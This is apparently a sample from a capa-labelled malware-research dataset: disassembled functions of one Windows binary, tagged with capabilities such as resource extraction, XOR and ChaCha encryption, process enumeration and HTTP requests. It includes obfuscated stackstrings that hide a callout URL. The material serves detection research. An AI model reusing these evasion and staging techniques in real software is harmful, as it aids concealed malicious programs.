joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4047ab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x6f0
mov eax, 0x41ae3b
call fcn.0040aba5
movzx eax, word [ebp + 8]
push 0x41c628
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
jne 0x4047da
xor al, al
jmp 0x4048ca
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x4047d3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, esi
je 0x4047d3
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [ebp - 0x6fc]
push 0x41c9a0
push eax
call fcn.00409d13
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
call fcn.00401dab
mov ecx, dword [ebp - 0x6fc]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.004022b2
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x40483b
lea eax, [ebp - 0x28]
push eax
push edi
push ebx
lea ecx, [ebp - 0x6f0]
call fcn.00407348
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x6f4]
push eax
push 1
lea ecx, [ebp - 0x6f0]
call fcn.00407429
lea ecx, [ebp - 0x6f0]
call fcn.00407139
mov eax, dword [ebp - 0x6f8]
push eax
mov dword [0x423ae0], eax
call fcn.00409e46
mov ecx, dword [0x423ae0]
push ecx
push dword [ebp - 0x6f4]
mov dword [0x423ae4], eax
push ecx
push eax
call fcn.0040a3fd
push dword [0x423ae0]
push dword [0x423ae4]
call fcn.0040710d
push dword [ebp - 0x6f4]
mov dword [0x423ae8], eax
call fcn.0040a2c5
add esp, 0x20
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018a2
mov al, 1
call fcn.0040abef
ret

Function at 0x404b2d
Capabilities:
Delete file

Disassembly:
push 8
mov eax, 0x41ae86
call fcn.0040ab6f
mov ecx, 0x423b54
call fcn.00409825
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1836
call fcn.00401dab
mov ecx, dword [0x423adc]
call fcn.0040936f
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp byte [0x423aec], bl
je 0x404b75
call dword [0x423ac4]
jmp 0x404bae
push ebx
call dword [0x423abc]
push 0xb4
call dword [0x423ac8]
jmp 0x404bae
mov eax, dword [0x423ae8]
cmp eax, ebx
je 0x404bd6
push eax
call fcn.00406e0d
push dword [0x423ae4]
mov dword [0x423ae8], ebx
call fcn.0040a2c5
pop ecx
pop ecx
mov dword [0x423ae0], ebx
cmp dword [0x423b50], 0x10
mov eax, dword [0x423b3c]
jae 0x404be9
mov eax, 0x423b3c
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0040abdb
ret
Function at 0x405f26
Capabilities:
Hash data with md5

Disassembly:
and dword [ecx + 0x14], 0
and dword [ecx + 0x10], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x40682a
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [edi + 4]
and dword [ebp - 8], 0
mov dword [ebp - 4], eax
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
push ebx
push esi
lea esi, [ecx + eax + 0x18]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x4068f4
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x406894
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x4068df
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push ebx
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x4068fb
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.0040a4e0
jmp 0x4068dc
mov ecx, dword [esi + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.00406815
pop ecx
test eax, eax
je 0x4068fb
push dword [edi + 0x34]
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push dword [esi]
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x4068fb
mov eax, dword [esi + 4]
push dword [esi]
mov ebx, dword [esi - 4]
add eax, dword [ebp + 8]
add ebx, dword [ebp - 4]
push eax
push ebx
call fcn.00409f60
mov dword [esi - 8], ebx
add esp, 0xc
mov eax, dword [edi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add esi, 0x28
cmp dword [ebp - 8], eax
jl 0x406854
xor eax, eax
inc eax
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x4068f7
Function at 0x40714f
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x6b8]
test eax, eax
je 0x40716f
mov ecx, 0xb0
push ecx
push eax
push ecx
push esi
call fcn.0040a3fd
add esp, 0x10
pop esi
ret
push edi
push 0
lea edi, [esi + 0x6c0]
push 0
push dword [edi]
call fcn.0040c3b2
push dword [edi]
push 1
push 0xb0
push esi
call fcn.0040c7ca
add esp, 0x1c
pop edi
pop esi
ret

Function at 0x407196
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov ecx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x10
pop edx
sub ecx, edi
push ebx
mov dword [ebp - 0x30], 0xc840
mov dword [ebp - 0x2c], 0xd951
mov dword [ebp - 0x28], 0xea62
mov dword [ebp - 0x24], 0xfb73
mov dword [ebp - 0x20], 0xfa50
mov dword [ebp - 0x1c], 0xcb61
mov dword [ebp - 0x18], 0xd872
mov dword [ebp - 0x14], 0xe943
mov eax, edi
mov dword [ebp - 0x10], ecx
push esi
mov esi, dword [ecx + eax]
mov dword [eax], esi
add eax, 4
dec edx
jne 0x4071e7
and dword [ebp - 4], edx
mov eax, dword [ebp - 4]
and eax, 7
mov esi, dword [ebp + eax*4 - 0x30]
mov ecx, esi
mov eax, esi
shr ecx, 8
mov edx, esi
shr eax, 4
and ecx, 0xf
and edx, 0xf
and eax, 0xf
mov dword [ebp - 8], ecx
shr esi, 0xc
mov dword [ebp + 8], 0x19181410
mov ecx, dword [edi + eax*4]
add dword [edi + edx*4], ecx
mov ebx, dword [edi + edx*4]
mov edi, dword [edi + esi*4]
movzx ecx, byte [ebp + 8]
shr dword [ebp + 8], 8
xor edi, ebx
ror edi, cl
cmp dword [ebp + 8], 0
mov ecx, edi
mov edi, dword [ebp + 0xc]
mov dword [edi + esi*4], ecx
mov ecx, edx
mov edx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov ecx, eax
mov eax, esi
mov esi, ecx
jne 0x407221
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x50
jb 0x4071f5
push 0x10
pop eax
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [edi + ecx]
add dword [edi], ecx
add edi, 4
dec eax
jne 0x407263
pop edi
leave
ret 8

Function at 0x407276
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x3320646e
mov dword [eax + 8], 0x79622d32
mov dword [eax + 0xc], 0x6b206574
xor edx, edx
lea ecx, [eax + 0x10]
push esi
mov esi, dword [esp + 0xc]
mov esi, dword [esi + edx*4]
mov dword [ecx], esi
inc edx
add ecx, 4
cmp edx, 8
jl 0x40729b
and dword [eax + 0x30], 0
and dword [eax + 0x34], 0
xor ecx, ecx
add eax, 0x38
pop esi
mov edx, dword [esp + 0xc]
mov edx, dword [edx + ecx*4]
mov dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 2
jl 0x4072bb
ret 0xc
Function at 0x4072d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], eax
test ebx, ebx
je 0x407338
push edi
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.00407196
add dword [esi + 0x30], 1
push 0x40
pop edi
adc dword [esi + 0x34], 0
cmp ebx, edi
ja 0x407318
mov edi, ebx
test ebx, ebx
jbe 0x40732e
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x4c], edi
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec dword [ebp - 0x4c]
jne 0x407323
add dword [ebp - 0x48], edi
sub ebx, edi
test ebx, ebx
jne 0x4072f6
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ab2d
leave
ret 0xc

Function at 0x407429
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x6b8]
push edi
test ecx, ecx
je 0x407462
mov eax, dword [ebp + 8]
mov edi, dword [esi + eax*8 + 0x34]
mov ebx, dword [esi + eax*8 + 0x30]
push edi
add ebx, ecx
call fcn.00409e46
push edi
push ebx
push edi
push eax
mov dword [ebp + 8], eax
call fcn.0040a3fd
mov ebx, dword [ebp + 8]
add esp, 0x14
jmp 0x407494
mov edi, dword [ebp + 8]
push 0
push dword [esi + edi*8 + 0x30]
push dword [esi + 0x6c0]
call fcn.0040c3b2
mov edi, dword [esi + edi*8 + 0x34]
push edi
call fcn.00409e46
push dword [esi + 0x6c0]
mov ebx, eax
push 1
push edi
push ebx
call fcn.0040c7ca
add esp, 0x20
push edi
push ebx
lea eax, [esi + 0x2b8]
push eax
mov ecx, esi
call fcn.004073a2
add edi, 0xfffffff8
push edi
call fcn.00409e46
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push edi
lea ecx, [ebx + 8]
push ecx
push edi
push eax
call fcn.0040a3fd
mov eax, dword [ebp + 0x10]
push ebx
mov dword [eax], edi
call fcn.0040a2c5
add esp, 0x18
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x407ba0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 4], edi
jae 0x407bbc
lea ecx, [ebp + 0x10]
lea edx, [ebp - 8]
push edx
push 0x20019
push edi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407bf9
cmp dword [ebp + 0x40], 0x10
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0xc], 4
jae 0x407be5
lea eax, [ebp + 0x2c]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push edi
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 4]
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018a2
push edi
push 1
lea ecx, [ebp + 0x28]
call fcn.004018a2
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x408703
Capabilities:
Check http status code
Contain obfuscated stackstrings
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
push 0x50
sub esp, 0x1c
mov esi, ecx
lea eax, [ebp - 0x10]
xor ebx, ebx
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov byte [ebp - 0x11], bl
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 7], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 6], bl
mov byte [ebp - 9], 0x63
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0x10], 0x67
mov byte [ebp - 0xf], 0x6f
call fcn.00401dab
mov ecx, esi
call fcn.00407b33
cmp byte [esi + 0x1c], bl
je 0x4087ee
lea eax, [ebp - 0x38]
push ebx
push eax
call fcn.004084ad
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x408784
mov eax, dword [eax + 4]
jmp 0x408787
add eax, 4
push ebx
push ebx
push ebx
push ebx
push str.HTTP_1.0
push 0x41d090
push eax
push dword [esi + 0x40]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push 1
lea ecx, [ebp - 0x38]
mov edi, eax
call fcn.004018a2
cmp edi, ebx
je 0x4087e7
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x1c], 0xc8
jne 0x4087e7
mov byte [ebp - 0x11], 1
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.004074d3
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x11]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ab2d
leave
ret
Function at 0x408af2
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x5c
mov eax, 0x41b192
call fcn.0040ab3c
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], 2
call fcn.00401a3e
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], 1
jae 0x408b2b
lea eax, [ebp + 0x14]
lea ecx, [ebp - 0x14]
push ecx
push 0x20019
push esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408c28
lea ecx, [ebp - 0x30]
call fcn.00408a45
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp dword [ebp + 0x44], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x30]
mov byte [ebp - 4], 3
jae 0x408b66
lea eax, [ebp + 0x30]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x10]
push ecx
push esi
push esi
push esi
push eax
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x408c17
push esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.00408a72
cmp dword [ebp + 0x44], 0x10
mov ebx, dword [ebp + 0x30]
jae 0x408b99
lea ebx, [ebp + 0x30]
lea eax, [ebp - 0x10]
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.00407515
push eax
push esi
push esi
push ebx
push dword [ebp - 0x14]
call edi
cmp eax, esi
jne 0x408c17
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cmp eax, esi
jle 0x408c17
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.00407928
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3c]
call fcn.00407928
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x44]
call fcn.00407a38
push dword [eax + 4]
lea ecx, [ebp - 0x68]
push dword [eax]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00407e88
mov ecx, dword [ebp - 0x18]
push 0xffffffffffffffff
push esi
push eax
mov byte [ebp - 4], 4
call fcn.00401b09
push esi
push 1
lea ecx, [ebp - 0x68]
call fcn.004018a2
lea ecx, [ebp - 0x30]
call fcn.00407a68
push dword [ebp - 0x30]
call fcn.0040a3f2
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push 1
lea ecx, [ebp + 0x10]
call fcn.004018a2
push esi
push 1
lea ecx, [ebp + 0x2c]
call fcn.004018a2
mov eax, dword [ebp - 0x18]
call fcn.0040abdb
ret
Function at 0x4093ee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
sub esp, 0x11c
lea ebp, [esp - 4]
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp + 0x11c], eax
push 4
mov eax, 0x41b2a8
call fcn.0040ab3c
mov edi, dword [ebp + 0x128]
push 0x100
xor ebx, ebx
lea eax, [ebp + 0x1c]
push ebx
push eax
mov dword [ebp - 0x10], ecx
call fcn.0040a4e0
add esp, 0xc
push ebx
lea ecx, [ebp]
mov byte [ebp + 0x30], 0x6d
mov byte [ebp + 0x1d], 0x74
mov byte [ebp + 0x2e], 0x72
mov byte [ebp + 0x23], 0x2f
mov byte [ebp + 0x3a], 0x65
mov byte [ebp + 0x32], 0x2e
mov byte [ebp + 0x34], 0x6f
mov byte [ebp + 0x22], 0x2f
mov byte [ebp + 0x39], 0x73
mov byte [ebp + 0x20], 0x73
mov byte [ebp + 0x1f], 0x70
mov byte [ebp + 0x36], 0x2f
mov byte [ebp + 0x28], 0x6e
mov byte [ebp + 0x3d], 0x68
mov byte [ebp + 0x27], 0x69
mov byte [ebp + 0x29], 0x65
mov byte [ebp + 0x21], 0x3a
mov byte [ebp + 0x37], 0x66
mov byte [ebp + 0x3b], 0x2e
mov byte [ebp + 0x33], 0x63
mov byte [ebp + 0x2f], 0x61
mov byte [ebp + 0x35], 0x6d
mov byte [ebp + 0x25], 0x6e
mov byte [ebp + 0x1e], 0x74
mov byte [ebp + 0x1c], 0x68
mov byte [ebp + 0x24], 0x65
mov byte [ebp + 0x3c], 0x70
mov byte [ebp + 0x38], 0x75
mov byte [ebp + 0x2a], 0x70
mov byte [ebp + 0x26], 0x67
mov byte [ebp + 0x2d], 0x67
mov byte [ebp + 0x2b], 0x72
mov byte [ebp + 0x2c], 0x6f
mov byte [ebp + 0x31], 0x73
mov byte [ebp + 0x3e], 0x70
mov byte [ebp + 0x40], bl
mov dword [ebp + 0x18], 0xf
call fcn.004017ce
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4094d7
sub eax, esi
push eax
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401b9b
xor esi, esi
mov ecx, dword [ebp - 0x10]
push edi
lea eax, [ebp]
push eax
call fcn.004092a0
cmp dword [edi + 0x14], ebx
ja 0x40950f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x4094ef
push ebx
push 1
lea ecx, [ebp]
call fcn.004018a2
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x11c]
xor ecx, ebp
call fcn.0040ab2d
add ebp, 0x120
leave
ret 4
Function at 0x409548
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x4bc]
sub esp, 0x53c
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp + 0x4b8], eax
mov eax, dword [ebp + 0x4c4]
push esi
xor esi, esi
push esi
push 2
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x74], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
jne 0x409589
xor eax, eax
jmp 0x40965b
push ebx
push edi
lea ecx, [ebp - 0x70]
push ecx
push eax
mov dword [ebp - 0x70], 0x128
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x7c], esi
mov ebx, 0x400
xor edi, edi
lea esi, [ebp + edi - 0x4c]
movsx eax, byte [esi]
push eax
call fcn.0040cf21
inc edi
cmp edi, 0x104
pop ecx
mov byte [esi], al
jl 0x4095a6
push ebx
push dword [ebp - 0x80]
lea eax, [ebp + 0xb8]
push ebx
push eax
call fcn.0040cd57
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x41d100
lea eax, [ebp + 0xb8]
push esi
push eax
call fcn.0040cc69
add esp, 0x1c
jmp 0x409626
mov ecx, eax
lea eax, [ebp - 0x4c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40960e
test dl, dl
je 0x40960a
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40960e
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jne 0x4095f0
xor eax, eax
jmp 0x409613
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40962c
lea eax, [ebp - 0x7c]
push eax
push esi
push 0
call fcn.0040cc69
add esp, 0xc
test eax, eax
jne 0x4095eb
jmp 0x409633
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x74], 1
je 0x40964d
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x78]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4095a4
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x74]
pop edi
pop ebx
mov ecx, dword [ebp + 0x4b8]
xor ecx, ebp
pop esi
call fcn.0040ab2d
add ebp, 0x4bc
leave
ret 4

Function at 0x409673
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
imul esi, esi, 0x64
xor ebx, ebx
push edi
mov edi, ecx
test esi, esi
jle 0x409716
push dword [edi + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x409716
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.0040a4e0
add esp, 0xc
push 0x40d
push dword [edi + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x108]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4096eb
sub eax, ecx
cmp eax, 3
jle 0x409709
movsx eax, byte [ebp + eax - 0x10a]
sub eax, 0x30
cmp dword [ebp + 8], eax
je 0x409729
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, esi
jl 0x409697
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ab2d
leave
ret 8
mov al, 1
jmp 0x409718

Function at 0x409808
Capabilities:
Create thread

Disassembly:
push esi
xor eax, eax
push eax
push eax
mov esi, ecx
push esi
push 0x40972d
push eax
push eax
mov byte [esi + 0x10], al
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
pop esi
ret
Function at 0x4099f4
Capabilities:
Get graphical window text

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x4221e4]
xor eax, ebp
mov dword [ebp + 0x18c], eax
mov eax, dword [ebp + 0x198]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], eax
cmp dword [esi + 8], ebx
jne 0x409a27
call fcn.004099ad
push dword [esi + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x409ae5
push edi
push 0x40d
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, 0x103
push edi
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x89]
push ebx
push eax
mov byte [ebp + 0x88], bl
call fcn.0040a4e0
push edi
lea eax, [ebp - 0x7b]
push ebx
push eax
mov byte [ebp - 0x7c], bl
call fcn.0040a4e0
add esp, 0x18
push 0x104
lea eax, [ebp + 0x88]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp + 0x88]
lea esi, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x409a93
sub eax, esi
cmp eax, 3
jle 0x409ae5
mov byte [ebp + eax + 0x85], bl
mov eax, dword [ebp + 0x198]
push 0x20
add eax, 0x30
push eax
push 0x20
lea eax, [ebp + 0x88]
push eax
lea eax, [ebp - 0x7c]
push str._s_c_c_c
push eax
call fcn.0040982a
add esp, 0x18
push ebx
push dword [ebp - 0x80]
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [ebp + 0x18c]
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0040ab2d
add ebp, 0x190
leave
ret 4

Function at 0x40ab2d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4221e4]
jne 0x40ab37
repz ret
jmp fcn.0040ed0c
Function at 0x4178bd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040da3c
and dword [ebp - 4], 0
cmp dword [0x42454c], 0
mov ebx, eax
jne 0x41796e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x417a1f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41ed94
push edi
call esi
test eax, eax
je 0x417a1f
push eax
call fcn.0040d9ca
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42454c], eax
call esi
push eax
call fcn.0040d9ca
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x424550], eax
call esi
push eax
call fcn.0040d9ca
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x424554], eax
call esi
push eax
call fcn.0040d9ca
pop ecx
mov dword [0x42455c], eax
test eax, eax
je 0x41796e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d9ca
pop ecx
mov dword [0x424558], eax
mov eax, dword [0x424558]
cmp eax, ebx
je 0x4179c6
cmp dword [0x42455c], ebx
je 0x4179c6
push eax
call fcn.0040da45
push dword [0x42455c]
mov esi, eax
call fcn.0040da45
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4179c6
test edi, edi
je 0x4179c6
call esi
test eax, eax
je 0x4179bd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4179bd
test byte [ebp - 0xc], 1
jne 0x4179c6
or dword [ebp + 0x10], 0x200000
jmp 0x4179ff
mov eax, dword [0x424550]
cmp eax, ebx
je 0x4179ff
push eax
call fcn.0040da45
pop ecx
test eax, eax
je 0x4179ff
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4179ff
mov eax, dword [0x424554]
cmp eax, ebx
je 0x4179ff
push eax
call fcn.0040da45
pop ecx
test eax, eax
je 0x4179ff
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42454c]
call fcn.0040da45
pop ecx
test eax, eax
je 0x417a1f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x417a21
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret